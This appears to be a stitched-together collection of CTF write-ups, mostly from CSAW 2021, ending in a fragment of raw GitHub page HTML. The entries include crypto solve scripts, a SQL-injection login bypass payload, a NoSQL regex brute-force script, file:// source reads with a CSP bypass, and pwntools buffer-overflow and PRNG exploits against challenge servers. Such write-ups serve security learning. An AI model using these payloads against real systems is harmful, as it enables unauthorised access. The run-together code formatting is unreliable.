Final payload:```pyfrom Crypto.Cipher import AESimport binascii
with open('dist/flag.txt.enc','rb') as f: key = binascii.unhexlify('b5082f02fd0b6a06203e0a9ffb8d7613dd7639a67302fc1f357990c49a6541f3') data = f.read() iv = data[:AES.block_size]
data = data[AES.block_size:] cipher = AES.new(key, AES.MODE_CFB, iv)
print(cipher.decrypt(data))```Flag -> `flag{gunicorn_probably_should_not_do_that}`
## Challenge no-pass-neededStep 1: Login with `username=admin'--&password=admin'--`username just show `'`. Contiune login `username=taidadmin&password=admin'--` and it show taidh=> it replace `admin`
Payload:```username=adadminmin'--&password=taidh```Flag -> `flag{wh0_n3ed5_a_p4ssw0rd_anyw4y}`
## Challenge securinotes
Run script on Console```jslet flag = "flag{";const list_char = "abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789}!@#{$_- ";
const count = (char) => { return new Promise((resolve,reject) => { setTimeout(() => { Meteor.call('notes.count',{ body : { $regex :`${char}` } },function(err ,res ){ if(err) reject(error); resolve(res); }); }); });}
const brute_flag = async () => { for(let i=0; i<70;i++){ for(let char of list_char){ let res = await count(flag+char); if(res){ flag += char; console.log(flag); break; } } }}
brute_flag();```Flag -> `flag{4lly0Urb4s3}`
## Challenge scp-terminalStep 1:
file:///server/server.py#SCP-1 -> get source `server.py`
file:///server/scp_contain.py#SCP-1 -> get source `scp_contain.py`
file:///server/scp_secure.py#SCP-1 -> get source `scp_secure.py`
In source `server.py`, we can see flag at file `scp-31337.html`
Step 2: Access https://scp-wiki.wikidot.com/scp-455

Copy this html
Step 3: Custom above html```js<div class="scp-image-block block-right" style="width:300px;"><div class="scp-image-caption" style="width:300px;">SCP-455 in the water</div></div>```Host above file on local with name `scp-1.html`.
SCP-455 in the water
Step 4:
On local run `php -S 0.0.0.0:1234`
Send `http://host:port/scp-1.html`
Step 5: View source and copy
Send https://scp-terminal.foundation/site_19/8141ffdd234710a18eae7adf4c12ca8332f191a2.htm
Flag -> `flag{CSP_def3a7s_SCP_n0t_s0_s3cure_n0w_huh}`
## ThankWriteup full I will upload at http://dauhoangtai.github.io later |
This is an interested AES problem ! I will show map of this AES and code !

--------------------------------------------------------------------
And this is my code !
```pyimport binasciifrom Crypto.Cipher import AESfrom Crypto.Util.number import long_to_bytes, bytes_to_longfrom pwn import *
conn = remote('103.152.242.242',10016)
def split_block(message): block_message = [ message[i:i+16] for i in range(0,len(message), 16) ] return block_message
def get_decrypt(enc): enc = binascii.hexlify(enc) conn.recvuntil('> ').decode() conn.sendline('3'.encode()) conn.recvuntil('= ').decode() conn.sendline(enc) conn.recvuntil('= ').decode() msg = binascii.unhexlify(conn.recvline().decode()[:-1]) return msg
def decrypt_flag(enc): msg = get_decrypt(enc) block_msg = split_block(msg) for i in range(1, len(block_msg)): block_msg[i] = long_to_bytes(bytes_to_long(block_msg[i]) ^ bytes_to_long(block_msg[i-1])) enc2 = b''.join(block_msg) cipher = AES.new(IV, AES.MODE_ECB) flag = cipher.decrypt(enc2) return flag
cipher = b'0'*16plain = get_decrypt(cipher*2)block_plain = split_block(plain)IV = long_to_bytes(bytes_to_long(cipher) ^ bytes_to_long(block_plain[0]) ^ bytes_to_long(block_plain[1]))conn.sendline('1\n'.encode())conn.recvuntil('= ').decode()enc_flag = binascii.unhexlify(conn.recvline()[:-1].decode())flag = decrypt_flag(enc_flag)print('Flag = ', flag)``` |
Because this is just basic RSA, so I just show code and every computing I commented in this code !```pyimport mathfrom Crypto.Util.number import *#############_1_50 = 1 << 50 # 2**50 == 1,125,899,906,842,624
def isqrt(x): """Return the integer part of the square root of x, even for very large integer values.""" if x < 0: raise ValueError('square root not defined for negative numbers') if x < _1_50: return int(math.sqrt(x)) # use math's sqrt() for small parameters n = int(x) if n <= 1: return n # handle sqrt(0)==0, sqrt(1)==1 # Make a high initial estimate of the result (a little lower is slower!!!) r = 1 << ((n.bit_length() + 1) >> 1) while True: newr = (r + n // r) >> 1 # next estimate by Newton-Raphson if newr >= r: return r r = newr#############e=65537s = 518521484172073259043145502034694599512935443283076107003494840643504150663248402410462928864122818999731280619095755616648044687630285476363367234348295346345048643618601901838740100n = 121789376487960809489253386587170686658768726657045553214623415992384832614485249137256874454267032401365173859563210814953487893574413409932117585950570225259024509903129746392143101a = 14910b = 1443061772954701335732136128869248910288995712185482317126411260349775148932784597588115548780067761993841192961205698418501468762734686695975550561598140253475710348439640002745286347562 ciphertext = [95844532553991737600355244654272099305361975575150371319709729091243030203575898742071987199800250922501746626433985253038713853151746857514762678605619742310839669559545627531098676, 42098262117872607180245376226279234844537189667792611290978137770131205295202393318329675438677406769928295941768074280915365884838027414974072838410934952571392616562898636004189303, 8604504123043858588289398284978073629384165878986588408956445422750740896636700840713408309772547146776823067482307495576552057400894861616123713400577813256614795674220942022738198, 66896916235028791010554130879834163456721897024453929564151545727202320039792487273512943832159287883050106923587075192390665897004465138382234040927275478139131450371794658563343368, 88176130128782413821390318550151008388570132120182664342566671328546119423517817326934034720909238554168653863093116429325532932401977519369212892117707167802400008407395125896733332, 42250039274640778630603717605163827961176577828564055370588929192401015587247485151024369147022833032549004175634147831360114651662490704138925606397505368573040950634048151235675964, 106267843822546752528780879737401351948170741446817769684516569656816005147897267321452764634553751488085440938706773625287154372645991244141121226180609731226228509942129690482744498, 7344462713592491879813960159075800353984094813742489003735150623847056840460595091048879286634691169764793649426176975158414555454778075430233699780146900520609629142406422725693811, 68155732896092345896827379516624133280166986984023541993085330906321960888421556683672078055376548346464764100036149614632795220030187229733989823788323988946361921828069707823065198, 2456638129741631242062051214133833843357605035108383884677777076160879939756985403557604264648903511528401478876871578775440101482814072714355366084122429853207060638683606389504551, 99671982271645788903414016384550975165361965345980177928115018027271173062935625698434769263846972984813377601618481025600240081090732166957299336765744471217496851539810214590361856]# print(len(ciphertext))# s = (p+q)^2# n = p*q#=> can_s = p+q ; n=p*qcan_s = isqrt(s)#p*(can_s-p)=n <=> p^2 - p*can_s + n = 0_a = 1_b = -can_s _c = n delta = _b*_b - 4*_a*_c can_delta = isqrt(delta)q = (can_s + can_delta)//2p = n//q# print(p)# print(q)##############################Done calculate p,q ############## s^3 = a (mod r)# b = (s-q*(2*p+q))*r => r = b // (s-q*(2*p+q))
mixed = (s-q*(2*p+q)) r = b//mixed#############Done Calculate r #################
#(m[i]*r)^e = c[i] (mod n)#phi = (p-1)*(q-1)# d = e^(-1) (mod phi)# (m[i]*r) = c[i]^(d) (mod n)# => m[i] = r^(-1)*c[i]^(d) (mod n)def solve(): phi = (p-1)*(q-1) d = inverse(e,phi) mm=[] for _c in ciphertext: _m = inverse(r,n)*pow(_c,d,n) _m = _m%n mm.append(_m) for _m in mm: print(long_to_bytes(_m))
solve()
##############TEST ######### if(pow(s,3,r)==a):# print("Y")# if(b%mixed==0):# print("Y")
#############Tiep tuc pha an ################### # b"#Snab says good job! But you're not done yet\n"# b'flag = findme\n'# b"halfa = ''.join([flag[i] for i in range (0, len(flag), 2)])\n"# b"halfb = ''.join([flag[i] for i in range (1, len(flag), 2)]\n"# b"p = bytes_to_long(bytes(halfa, encoding = 'utf-8'))\n"# b"q = bytes_to_long(bytes(halfb, encoding = 'utf-8'))\n"# b'r = 0\n'# b'while (not(isPrime(p) and isPrime(q))):\n'# b' p += 1\n'# b' q += 1\n'# b' r += 1\n'
#p_goc = p-1#q_goc = q-1p_goc = p-rq_goc = q-r# while(isPrime(p) and isPrime(q)):# p-=1# q-=1
# print(long_to_bytes(p_goc))# print(long_to_bytes(q_goc))half_a = long_to_bytes(p_goc)half_b = long_to_bytes(q_goc)# print(len(half_a))# print(len(half_b))# print(chr(half_a[0]))
# res=res + chr(half_a[0])# for i in half_b:# print(chr(i))def solve1(): res="" i=0 dem1=0 dem2=0 while(1): if(dem1==len(half_a) and dem2==len(half_b)): break if(i%2==0): res=res+ chr(half_a[dem1]) dem1+=1 else: res=res+ chr(half_b[dem2]) dem2+=1 i+=1 print(res)solve1()# print(res)``` |
*See full writeup in the link provided*
This is an ElGamal signature scheme without hash function, which is vulnerable to forgery attacks (see Section 3.2 of [Chan's thesis](https://core.ac.uk/download/pdf/48535618.pdf)).
The idea is to create a message using Chan's technique with random integers B and C:```r' = g^B * y^C [p]s' = -r'C [p-1]m' = -r'B/C [p-1]```
and then prepend `Cisco` to `m'` so it will be cut by the mask.
```pythonfrom pwn import *from Crypto.Util.number import *
sh = remote("crypto.chal.csaw.io", 5006)sh.recvuntil("(p,g,y): ")data = sh.recvline().decode()data = [int(x) for x in data.split(" ")]p,g,y = data[0],data[1],data[2]
r = g*y % ps = (-r) % (p-1)m = (-r) % (p-1)
signed_message = b"Cisco".hex() + long_to_bytes(m).hex().rjust(1024//4, "0")sh.recvuntil("Answer:")sh.sendline(signed_message)sh.recvuntil("r:")sh.sendline(str(r))sh.recvuntil("s:")sh.sendline(str(s))sh.interactive()``` |
[writeup](https://github.com/Ductinn/ctf/blob/main/2021/csaw2021ctf/README.md#procrastination-simulator) https://github.com/Ductinn/ctf/blob/main/2021/csaw2021ctf/README.md#procrastination-simulator |
4 RSA challenges, each with specific vulnerabilities:- big e, vulnerable to Wiener attack (small d). Lot of libraries to solve this.- sexy primes used for the modulus (`p = q-6`). Just compute `sqrt(N+9)` to find `(p+q)/2`- LSB oracle: given a ciphertext c, an oracle returns the parity of p the plaintext for c. This allows to perform a binary search on the plaintext by sending ciphertexts for `2^kP` for all k.- partial key exposure attack: given half of the private key (LSBs), we can find an approximation d' of d such that `|d' - d| <= 3sqrt(N)`. Because `3sqrt(N)` is only a little bit more than half of d bits, we can just replace the LSB of d' with the known value and brute force the 3 or 4 bits that are still uncertain.
Full explanation and Python code in the original writeup. |
[Original writeup](https://toranova.xyz/scompute/?p=225)
tldr
theorem 16 in [https://www.math.uni-frankfurt.de/~dmst/teaching/SS2012/Vorlesung/Point.Stern.pdf](https://www.math.uni-frankfurt.de/~dmst/teaching/SS2012/Vorlesung/Point.Stern.pdf) shows us how to forge elgamal signatures.
then, notice that the conditional check to print the flag only requires that "Felicity" or "Cisco" or "both" to be part of the answer_bytes. The verification also masks anything above 1024 bits, or 128-bytes. This means we can just prepend the hex representation of either "Felicity" or "Cisco" or "both" to our the hex representation of the forged random message.
m, r, s = eforge(p, g, y)
ah = hex('both') + hex(m)
send, ah, r and s to verifier. |
*Full details in the linked writeup*
3 questions need to be answered:
- first one you need to guess a pseudo random number, but the PRNG is not initialized so it's always the same number- second one you need to reverse the code to find a valid input for a string- third one is standard buffer overflow to reach the win function.
Final code:```pythonfrom pwn import *
PRINT_FLAG = 0x04014fb
sh = remote("pwn.chal.csaw.io", 5004)sh.recvuntil("zopnol?")sh.sendline(str(0x6b8b4567))sh.recvuntil("qorbnorbf?")sh.sendline(str(7856445899213065428791))sh.recvuntil("salwzoblrs?")sh.sendline(b" "*24 + p32(PRINT_FLAG))sh.interactive()``` |
# Triangles 100 points
# Given Image
# SolutionSearch the image with **google reverse image search**.
It says it is **palazzo cosentini** [link](https://www.google.com.mm/search?tbs=sbi:AMhZZivbs1gFRpB8wAI9WlI3AkGmTA92YcK1qPW0487kIQP2-btaR2HFMYpJy1uNRZm3Si9HNGRE7_19el1Yz6Gxpt0ZVvMWmedgFGiYFSqgUNC9h9j7hwM6Hojk5a1SvcX0UbY4BI-oQV9WP5dQ80fJNhRcaBpLyqpMRB9kmFuENad8ol03RGVw1atUvV1FAsSZuAWXlZ1e4CZYwTsAE9egXk5JgQOAx7y8660Q4zqGNO1nSISUZijZlpUFAK78xz5RwLQvN7cTpDCwD6QB-cFOrjf9zvneaM5GJ26isFKL5X12Y14grW8pVc3SPyrC7YUzvOUAk5EOG).
Now search **palazzo cosentini** in *google map* [map link](https://www.google.com.mm/maps/place/Palazzo+Cosentini/@36.9267665,14.7344974,17z/data=!3m1!4b1!4m5!3m4!1s0x1311999df7357997:0x700f5a852df15e3!8m2!3d36.9267676!4d14.7366924).
Now *zoom in* closer until you can't anymore [map link](https://www.google.com.mm/maps/place/Palazzo+Cosentini/@36.9267459,14.736531,21z/data=!4m5!3m4!1s0x1311999df7357997:0x700f5a852df15e3!8m2!3d36.9267676!4d14.7366924)
Extract latitude and longitude from the url `36.9267459,14.736531`.
And put them in our challange web page `jump` input.

*Zoom in* until you can see *selections* and click `jump`.

Now, select the location you saw from *google map*

And, that's it!!! |
An evil plan to get the flag.
**Step 1: Get correct base**
This requires 256 steps to iteratively guess the bases. In my case, I just appended one more "x" and sent it to the server to check, if I got an error I corrected it to a "+". After 256 iterations I got the correct base.
**Step 2: remember QKD and decrypt flag**
After correctly obtaining the key the server gives us a byte string with 256 qbits. A (smaller) example is: 0.707 + 0.707i, -0.707 + 0.707i, 0.0 + 1.0i, 1.0 + 0.0i, 1.0 + 0.0i, 0.707 + 0.707i, ...
This corresponds to our key: xx+++xx...
~~We could have not used the key exchange part in my opinion, since it is fairly clear what we need to do. ~~
Each polar coordinate corresponds to a bit measured with the base. * 0.707 + 0.707i translates to 0 (equivalent to 45° polarization)* -0.707 + 0.707i translates to 1 (equivalent to 135° polarization)* 0.0 + 1.0i translates to 1 (equivalent to 0° polarization)* 1.0 + 0.0i translates to 0 again (equivalent to 90° polarization)Using this decoding, we get a bitstring which is the ascii encoding of ` semi-aquatic mammal of action!`
**Step 3: use the key**
The server now asks for a *key*. This is not the key base we obtained before, but instead the semi-aquatic mammal string we got before. After sending this, we get the flag:
`flag{MO0O0O0O0M PH1NE4S & F3RB R T4LK1NG 2 AL1ENS 0V3R QKD!!!}`
optional soundtrack: `https://www.youtube.com/watch?v=mcBk2ov_qmw` |
Writeup URL: [GitHub](https://infosecstreams.github.io/csaw21/contact-us/)# Contact Us
Writeup by: [OreoByte](https://github.com/OreoByte)
Team: [OnlyFeet](https://ctftime.org/team/144644)
Writeup URL: [GitHub](https://infosecstreams.github.io/csaw21/contact-us/)
---
```textVeronica sent a message to her client via their website's Contact Us page. Can you find the message?
Author: moat, Pacific Northwest National Laboratory```
## Using Wireshark Decrypt The SSL Traffic
Using the given files `sslkeyfile.txt` and `ContactUs.pcap` we can start to decrypt the pcap.
Navigate through `Edit -> Preferences -> Protocols -> TLS -> (Pre)-Master-Secret log filename`, click browse and select the `sslkeyfile.txt` file.
\
Find the decrypted flag in the packet capture.
\
---
## Using Tshark
You can do the same thing but with `tshark`:
1. Decrypt Pcap into a new file * `tshark -r ContactUs.pcap -V -x -o tls.keylog_file:key.log > results`
1. grep to win for the flag * `grep 'flag{' results`
\
---
## Victory
Submit the flag and claim the points:
`flag{m@r$hm3ll0w$}` |
# Gotta Decrypt Them All
> You are stuck in another dimension while you were riding Solgaleo.> You have Rotom-dex with you to contact your friends but he won't activate the GPS unless you can prove yourself to him. > He is going to give you a series of phrases that only you should be able to decrypt and you have a limited amount of time to do so.> Can you decrypt them all?> > nc crypto.chal.csaw.io 5001
We are given a series of plaintexts encrypted using the same scheme, which is a suite of encryptions and encodings.
## Solution
We're using [CyberChef](https://gchq.github.io/CyberChef/) to decrypt the first message. The magic tool allows us to discover the different encodings used: morse code, decimal encoding, base64.

After those encodings, we are greeted with an RSA instance, which has the following particularities: `N` is much bigger than `c` and `e=3`.Therefore probably the `mod` part in the encryption scheme has not been used, and we can just compute the cube root of the ciphertext to retrieve the plaintext.
Finally we need to perform a ROT13 on the string.
We automate all this using Python:
```pythonfrom pwn import *import morseimport base64from Crypto.Util.number import *import codecs
def find_cube_root(n): lo = 0 hi = 1 << ((n.bit_length() + 2) // 3) while lo < hi: mid = (lo+hi)//2 if mid**3 < n: lo = mid+1 else: hi = mid return lo
sh = remote("crypto.chal.csaw.io", 5001)
def decode(): sh.recvuntil("mean?") x = sh.recvline() x = sh.recvline().decode().strip().replace("/", " ")
x = morse.decrypt(x)
x = "".join([chr(int(c)) for c in x.split(" ")])
x = base64.b64decode(x).decode()
c = int(x.split("=")[3]) x = long_to_bytes(find_cube_root(c)).decode()
x = codecs.encode(x, 'rot_13') print(x)
sh.sendline(x) print(sh.recvline().decode())
for i in range(6): decode()sh.interactive()```
Flag: `flag{We're_ALrEadY_0N_0uR_waY_7HE_j0UrnEY_57aR75_70day!}` |
Initialize PRNG with time of my machine, bruteforcing offset between my machine and time of the server.
C program to generate numbers:```c#include <stdio.h>#include <stdlib.h>#include <time.h>
int main(int argc, char **argv) { int offset = atoi(argv[1]); time_t t = time(NULL); for(int i=0;i<3;++i) { srand(t + offset + i); printf("%d ", rand() % 0x100000 & 0xffffffff); } puts("\n"); return 0;}```
Exploit:
```pythonfrom pwn import *import os
for OFFSET in range(-10,10,3):
values = os.popen("./rand {}".format(OFFSET)).read() sh = remote("pwn.chal.csaw.io", 5002)
values = values.strip().split(" ") print(values)
for v in values: sh.recvuntil("check?") sh.sendline(v) sh.recvuntil("Hey") answer = "Hey" + sh.recvline().decode() print(answer) if "That's it" in answer: sh.interactive()``` |
<html lang="en" data-color-mode="auto" data-light-theme="light" data-dark-theme="dark"> <head> <meta charset="utf-8"> <link rel="dns-prefetch" href="https://github.githubassets.com"> <link rel="dns-prefetch" href="https://avatars.githubusercontent.com"> <link rel="dns-prefetch" href="https://github-cloud.s3.amazonaws.com"> <link rel="dns-prefetch" href="https://user-images.githubusercontent.com/"> <link rel="preconnect" href="https://github.githubassets.com" crossorigin> <link rel="preconnect" href="https://avatars.githubusercontent.com">
<link crossorigin="anonymous" media="all" integrity="sha512-L06pZD/4Yecj8D8pY5aYfA7oKG6CI8/hlx2K9ZlXOS/j5TnYEjrusaVa9ZIb9O3/tBHmnRFLzaC1ixcafWtaAg==" rel="stylesheet" href="https://github.githubassets.com/assets/light-2f4ea9643ff861e723f03f296396987c.css" /><link crossorigin="anonymous" media="all" integrity="sha512-xcx3R1NmKjgOAE2DsCHYbus068pwqr4i3Xaa1osduISrxqYFi3zIaBLqjzt5FM9VSHqFN7mneFXK73Z9a2QRJg==" rel="stylesheet" href="https://github.githubassets.com/assets/dark-c5cc774753662a380e004d83b021d86e.css" /><link data-color-theme="dark_dimmed" crossorigin="anonymous" media="all" integrity="sha512-xlDV9el7Cjd+KTSbwspx+c8its28uxn++hLZ9pqYYo1zOVcpLPlElTo42iA/8gV3xYfLvgqRZ3dQPxHCu4UaOQ==" rel="stylesheet" data-href="https://github.githubassets.com/assets/dark_dimmed-c650d5f5e97b0a377e29349bc2ca71f9.css" /><link data-color-theme="dark_high_contrast" crossorigin="anonymous" media="all" integrity="sha512-jkzjbgytRSAyC4EMcrdpez+aJ2CROSpfemvgO2TImxO6XgWWHNG2qSr2htlD1SL78zfuPXb+iXaVTS5jocG0DA==" rel="stylesheet" data-href="https://github.githubassets.com/assets/dark_high_contrast-8e4ce36e0cad4520320b810c72b7697b.css" /><link data-color-theme="dark_colorblind" crossorigin="anonymous" media="all" integrity="sha512-FzS8HhJ7XSHmx/dBll4FYlvu+8eivvb7jnttZy9KM5plsMkgbEghYKJszrFFauqQvv7ezYdbk7v/d8UtdjG9rw==" rel="stylesheet" data-href="https://github.githubassets.com/assets/dark_colorblind-1734bc1e127b5d21e6c7f741965e0562.css" /><link data-color-theme="light_colorblind" crossorigin="anonymous" media="all" integrity="sha512-IpkvxndMpMcO4paMJl83lYTcy18jv2jqG7mHZnTfr9HRV09iMhuQ/HrE+4mQO2nshL7ZLejO1OiVNDQkyVFOCA==" rel="stylesheet" data-href="https://github.githubassets.com/assets/light_colorblind-22992fc6774ca4c70ee2968c265f3795.css" /> <link crossorigin="anonymous" media="all" integrity="sha512-4hzfg/znP4UxIOUt/r3SNYEZ6jBPJIS6PH4VC26tE0Nd4xAymMC3KXDaC9YITfG4fhyfxuB1YnDHo1H2iUwsfg==" rel="stylesheet" href="https://github.githubassets.com/assets/frameworks-e21cdf83fce73f853120e52dfebdd235.css" /> <link crossorigin="anonymous" media="all" integrity="sha512-sT0AyFLl78shyaRWRXOw8uwRSnR+7tURIXoJwVYadATkrqeWfze5y/tOu8MS1mbzUKl6pgLjfEdT+U8bwBJHfQ==" rel="stylesheet" href="https://github.githubassets.com/assets/behaviors-b13d00c852e5efcb21c9a4564573b0f2.css" /> <link crossorigin="anonymous" media="all" integrity="sha512-jdtbQr5ZSKZqID/c80i87Ml+YyEhYVd5sF9szeR+Xuvbfhi4yLJbEsSllzk0XRzcbWqD4tDtshhRo5IuJx4Mzw==" rel="stylesheet" href="https://github.githubassets.com/assets/github-8ddb5b42be5948a66a203fdcf348bcec.css" />
<script crossorigin="anonymous" defer="defer" integrity="sha512-/0zs/So9AxtDONKx324yW8s62PoPMx4Epxmk1aJmMgIYIKUkQg4YqlZQ06B4j0tSXQcUB8/zWiIkhLtVEozU/w==" type="application/javascript" src="https://github.githubassets.com/assets/environment-ff4cecfd.js"></script> <script crossorigin="anonymous" defer="defer" integrity="sha512-8p4kkx6e3xBq1g3NP0O3/AW/aiTQ+VRxYencIeMD8crx7AEwrOTV+XOL/UE8cw4vEvkoU/zzLEZ9cud0jFfI4w==" type="application/javascript" src="https://github.githubassets.com/assets/chunk-frameworks-f29e2493.js"></script> <script crossorigin="anonymous" defer="defer" integrity="sha512-slE3Aa2Duzwgju0UbTfes+w5slmaEOhXwom+Ev+pPsxxOpeh2CGZqfriJGr6pkhTZX+ffOTTYl3GnSLtp7AkJw==" type="application/javascript" src="https://github.githubassets.com/assets/chunk-vendor-b2513701.js"></script> <script crossorigin="anonymous" defer="defer" integrity="sha512-ZDU7IsI6lFo4eeBuqkrh/Htsa12ZYOi44uBhKqG0LyV6XHM502iJjjsIVnmtmNXrrC9oGMf2O5i57Bx4lwGsXw==" type="application/javascript" src="https://github.githubassets.com/assets/behaviors-64353b22.js"></script> <script crossorigin="anonymous" defer="defer" integrity="sha512-ODZJzCJpaOfusrIka5QVZQcPiO9LBGyrrMYjhhJWSLuCN5WbZ5xiEiiOPOKVu71dqygyRdB2TY7AKPA1J5hqdg==" type="application/javascript" data-module-id="./chunk-unveil.js" data-src="https://github.githubassets.com/assets/chunk-unveil-383649cc.js"></script> <script crossorigin="anonymous" defer="defer" integrity="sha512-emPgUbSwW9ezLCgRnTE7n4fbbfc/MqEEDHmnkmG61dTyjWKHTYKN4wN3OPS7SY0fwmSJ8mB5+gng2nZw4/HsUg==" type="application/javascript" data-module-id="./chunk-animate-on-scroll.js" data-src="https://github.githubassets.com/assets/chunk-animate-on-scroll-7a63e051.js"></script> <script crossorigin="anonymous" defer="defer" integrity="sha512-pWX6rMbTl/ERAhhtbAyXiJzoXFr91jp/mRy2Xk4OpAId3aVFI2X+yI8X3mhbf985F5BRHamuRx20kG62nRtSLQ==" type="application/javascript" data-module-id="./chunk-ref-selector.js" data-src="https://github.githubassets.com/assets/chunk-ref-selector-a565faac.js"></script> <script crossorigin="anonymous" defer="defer" integrity="sha512-GKiNgfnSOtC7SUFIvLZMYoteE7iKDONxzaeovKiziJczuW1P4KMU1KhXeoTv4WEN0ufeXC9ejA8HvgYa+xPAAQ==" type="application/javascript" data-module-id="./chunk-filter-input.js" data-src="https://github.githubassets.com/assets/chunk-filter-input-18a88d81.js"></script> <script crossorigin="anonymous" defer="defer" integrity="sha512-HRWFwpj3BLrXflQCvPbnuXPFjpnti5TtcqJqUx/b6klMyuskNlUBIo+1UT0KVHFdEW/Y9QKjmXlZxhP6z1j5pg==" type="application/javascript" data-module-id="./chunk-edit.js" data-src="https://github.githubassets.com/assets/chunk-edit-1d1585c2.js"></script> <script crossorigin="anonymous" defer="defer" integrity="sha512-GhqHDMwaAgqUsjVyltYVhaaLYy2G887rPRXXNbsdaI+Xm3dh0fbaHLhZns70EjFAEpXBgCAYFYdnlG1IQFmz1A==" type="application/javascript" data-module-id="./chunk-responsive-underlinenav.js" data-src="https://github.githubassets.com/assets/chunk-responsive-underlinenav-1a1a870c.js"></script> <script crossorigin="anonymous" defer="defer" integrity="sha512-gmw7obKL/JEHWPp6zWFh+ynbXUFOidj1DN2aPiTDwP8Gair0moVuDmA340LD84A29I3ZPak19CEiumG+oIiseg==" type="application/javascript" data-module-id="./chunk-tag-input.js" data-src="https://github.githubassets.com/assets/chunk-tag-input-826c3ba1.js"></script> <script crossorigin="anonymous" defer="defer" integrity="sha512-Ao9llFIlj54ApuKf2QLboXukbu2h7MHfMmtYHrrsVe1lprKNLiA0usVcRpvruKhfT5STDuWm/GGmyx8ox27hWQ==" type="application/javascript" data-module-id="./chunk-notification-list-focus.js" data-src="https://github.githubassets.com/assets/chunk-notification-list-focus-028f6594.js"></script> <script crossorigin="anonymous" defer="defer" integrity="sha512-SPWd3rzrxmU6xW6vy1JPWCd+3uWFWmnd0MVGpmw/TpHWUAdLWDqL8kWyC/sBIZJmda4mTtUO1DHJQzAXRSrC+g==" type="application/javascript" data-module-id="./chunk-cookies.js" data-src="https://github.githubassets.com/assets/chunk-cookies-48f59dde.js"></script> <script crossorigin="anonymous" defer="defer" integrity="sha512-MK53GXbb2BPV+ADlEbJbkrvg34WPcAd5RC2nBJhUH1tR/Mjr9xrsf56ptBajfWcIWKRKbqqRtLktgr0wAbB3zw==" type="application/javascript" data-module-id="./chunk-async-export.js" data-src="https://github.githubassets.com/assets/chunk-async-export-30ae7719.js"></script> <script crossorigin="anonymous" defer="defer" integrity="sha512-tw9SApiMkftVBYeb6/VGhEwGNw8tlyBhXc9RVXH4UbCD6u+48uuCMvXf3bxvBdOld0OoYg83SnD2mgJWhdaTiQ==" type="application/javascript" data-module-id="./chunk-premium-runners.js" data-src="https://github.githubassets.com/assets/chunk-premium-runners-b70f5202.js"></script> <script crossorigin="anonymous" defer="defer" integrity="sha512-D576CjzS9sbDqFBJdq0Y6+KVMHXkO6mLFO/GRL1NtoE8jgXjAvmdjoZ4nNMWyDwqbtBHspvupORzE9L+YoBLYQ==" type="application/javascript" data-module-id="./chunk-get-repo-element.js" data-src="https://github.githubassets.com/assets/chunk-get-repo-element-0f9efa0a.js"></script> <script crossorigin="anonymous" defer="defer" integrity="sha512-xhSAO0KtnFAlRqAK+mg8BPj/J334ccvnCmmjmBQBCgZcsoO9teHJSS6oAn3XOWYFsWPU2JehwG7S3OVEbLwdUg==" type="application/javascript" data-module-id="./chunk-color-modes.js" data-src="https://github.githubassets.com/assets/chunk-color-modes-c614803b.js"></script> <script crossorigin="anonymous" defer="defer" integrity="sha512-jitxouuFY6SUcDZV5W3jhadVEIfFBfCQZxfPV3kxNnsWEBzbxMJFp0ccLb7+OlBjSs1zU/MNtuOV6T9Ay7lx4w==" type="application/javascript" data-module-id="./chunk-copy.js" data-src="https://github.githubassets.com/assets/chunk-copy-8e2b71a2.js"></script> <script crossorigin="anonymous" defer="defer" integrity="sha512-Auj2atZZccqguPinFmOL2k1TCzZs/yfMMFF5aMYMB/5miqEN7v4oAFG0o3Np24NOTkJ9o/txZCeuT6NGHgGoUA==" type="application/javascript" data-module-id="./chunk-voting.js" data-src="https://github.githubassets.com/assets/chunk-voting-02e8f66a.js"></script> <script crossorigin="anonymous" defer="defer" integrity="sha512-HDsLJf6gAN+WDFaJneJwmIY82XkZKWqeX7tStBLRh1XM53K8vMV6JZvjq/UQXszaNVWxWcuYtgYTG6ZWo8+QSw==" type="application/javascript" data-module-id="./chunk-confetti.js" data-src="https://github.githubassets.com/assets/chunk-confetti-1c3b0b25.js"></script> <script crossorigin="anonymous" defer="defer" integrity="sha512-zEirtMGIgj3NVAnB8kWhDykK5NLa7q4ugkIxB7EftbovRjhU3X5I/20Rploa4KGPwAR27e36rAljHIsDKbTm/Q==" type="application/javascript" data-module-id="./chunk-codemirror.js" data-src="https://github.githubassets.com/assets/chunk-codemirror-cc48abb4.js"></script> <script crossorigin="anonymous" defer="defer" integrity="sha512-Gr3ZcJt5t73JeBM3NwOEziKyDZ3HpHwzqZL/c1pgTUfo+6QC5f88XXRw/RT6X2diwqvaa3OVFh0oWsZ9ZxhtdQ==" type="application/javascript" data-module-id="./chunk-tip.js" data-src="https://github.githubassets.com/assets/chunk-tip-1abdd970.js"></script> <script crossorigin="anonymous" defer="defer" integrity="sha512-EdQvlnI4Pu5Q6K0HCvp+mi0Vw9ZuwaEuhbnCbmFKX+c0xwiUWY0L3n9P0F6doLhaHhfpvW3718+miL11WG4BeA==" type="application/javascript" data-module-id="./chunk-line.js" data-src="https://github.githubassets.com/assets/chunk-line-11d42f96.js"></script> <script crossorigin="anonymous" defer="defer" integrity="sha512-4zSHP2sQXPKoN9jFy8q2ThHsQNej8s4qhubSR4g0/2dTexAEnoTG+RbaffdIhmjfghGjpS/DlE0cdSTFEOcipQ==" type="application/javascript" data-module-id="./chunk-array.js" data-src="https://github.githubassets.com/assets/chunk-array-e334873f.js"></script> <script crossorigin="anonymous" defer="defer" integrity="sha512-g8fb6U7h9SkWgiK69nfNMn4aN5D2YBYPZUbCIuLpemWoOw8NOaZY8Z0hPq4RUVs4+bYdCFR6K719k8lwFeUijg==" type="application/javascript" data-module-id="./chunk-band.js" data-src="https://github.githubassets.com/assets/chunk-band-83c7dbe9.js"></script> <script crossorigin="anonymous" defer="defer" integrity="sha512-6oWCu7ltWLHlroIRg8mR6RloC1wqKS9aK9e5THWgzaE2GNPAdoC+MLZEYD/TdIiZxsQRev0RInyonsXGBK0aMw==" type="application/javascript" data-module-id="./chunk-toast.js" data-src="https://github.githubassets.com/assets/chunk-toast-ea8582bb.js"></script> <script crossorigin="anonymous" defer="defer" integrity="sha512-miaiZ1xkDsWBUsURHOmeYtbgVKQGnm1octCo/lDXUmPzDyjtubnHULRVw1AK+sttwdwyB0+LOyhIVAWCNSGx+A==" type="application/javascript" data-module-id="./chunk-delayed-loading-element.js" data-src="https://github.githubassets.com/assets/chunk-delayed-loading-element-9a26a267.js"></script> <script crossorigin="anonymous" defer="defer" 